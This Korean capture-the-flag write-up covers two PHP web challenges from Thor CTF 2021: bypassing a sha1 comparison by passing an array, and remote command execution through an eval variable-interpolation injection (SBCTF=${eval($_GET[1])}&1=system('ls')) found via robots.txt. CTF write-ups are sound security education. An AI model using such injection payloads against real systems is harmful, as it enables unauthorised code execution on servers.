Thor CTF 2021

4483 단어 초학자CTF
Thor 2021 CTF
나는 웹 문제 두 개와 OSINT 문제 한 개를 풀었다.
웹 질문을 기록하는 writeup.
Web
Tricks 1
질문 페이지

해법
php에서 sha1 함수의 규격을 확인하십시오.
https://www.php.net/manual/ja/function.sha1.php
반환 값은 문자열로 sha1 해시 값을 반환합니다.이런 기록이 있다.
그렇다니까.
다음은 문자열을 제외하고, 예를 들어 sha1 함수에 수조를 전달하려고 시도할 때 어떤 일이 일어날까요?
<?php
    $ex=[1,2,3];
    echo gettype($ex);
    echo sha1($ex);
?>
위 코드의 실행 결과:
array
sha1 함수의 반환 값이 없습니다.
데이터 유형을 확인합니다.
<?php
    $ex=[1,2,3];
    echo gettype($ex);
    echo gettype(sha1($ex));
?>
arrayNULL
NULL에게 응답했습니다.
여기는 검증이 없습니다.md5도 마찬가지입니다.
배열을 보내면 Flag를 획득할 수 있을 것 같습니다.

Flag 획득!
Phpbaby
문제.
루트 디렉토리에서 Flag 가져오기
※ 문제문을 읽을 수 없기 때문에 진정한 문제문은 다르지만, 어감은 같다.
질문 페이지

해법
HTML 소스를 확인합니다.
<!-- Access To Source Code Is Not Allowed! -->

<!DOCTYPE html>
<html>
<head>
    <title>lettercrap.js demo</title>
    <script src="/cdn-cgi/apps/head/xnSNotsdYPTd4Qn38KNoSYKvO4k.js"></script><script src='lettercrap.js'></script>
    <link rel='stylesheet' href='lettercrap.css'/>
    <style>
    body {
        text-align: center;
        font-family: sans-serif;
    }
    p {
        max-width: 60%;
        margin: auto;
    }
    [data-letter-crap] {
        margin: auto;
        margin-top: 3em;
        margin-bottom: 5em;
    }
    </style>
</head>
<body>

    <div data-letter-crap='SBCTF.png' data-lettercrap-words='CTF PHP eval robots' style='width: 70%' data-lettercrap-aspect-ratio='0.3'></div>
</body>
</html>
eval, 로봇스 등의 단어를 찾을 수 있습니다.
힌트입니다.
robots.txt 확인해봐.
user-agent: *
disallow: /Source_Code_Backup
/Source_Code_백업에 접근하면 일부 원본 코드를 확인할 수 있습니다.
<!--
// Source Code Backup:
$SBCTF=@(string)$_GET['SBCTF'];
filter($boycott, $SBCTF);
eval('$SBCTF="'.addslashes($SBCTF).'";');
-->
eval을 이용하여 시스템 명령을 호출하면 Flag를 얻을 수 있습니다.
변수 확장를 사용하면 임의의 함수를 실행할 수 있습니다. 아래 코드를 입력하십시오.
SBCTF=${phpinfo()}

잘 나왔어.
시스템 함수를 계속 실행하려고 시도합니다.

나 욕 먹었어.필터에 맞은 것 같아.
이 필터는 $SBCTF의 값만 확인했기 때문에 다음 코드로 시스템 함수를 실행해 보십시오.
eval로 묶은 건...GET의 변수 전개가 원활하지 않기 때문이다.eval로 묶어서 변수로 식별됩니다.
SBCTF=${eval($_GET[1])}&1=system('ls'); 

순조롭게 진행되었다.
루트 디렉터리를 보면 Flag이 있어요.

참조:
https://0xalwayslucky.gitbook.io/cybersecstack/web-application-security/php
감상
해결된 웹 문제는 php 지식을 묻는 문제가 되었다
해답하는 과정에서 php 처리 함수에 대한 이해를 깊이 있게 했다.
또 조사할 때PaizaCloud는 매우 편리하다.
간단하게 환경을 준비할 수 있어서 너무 좋아요...

좋은 웹페이지 즐겨찾기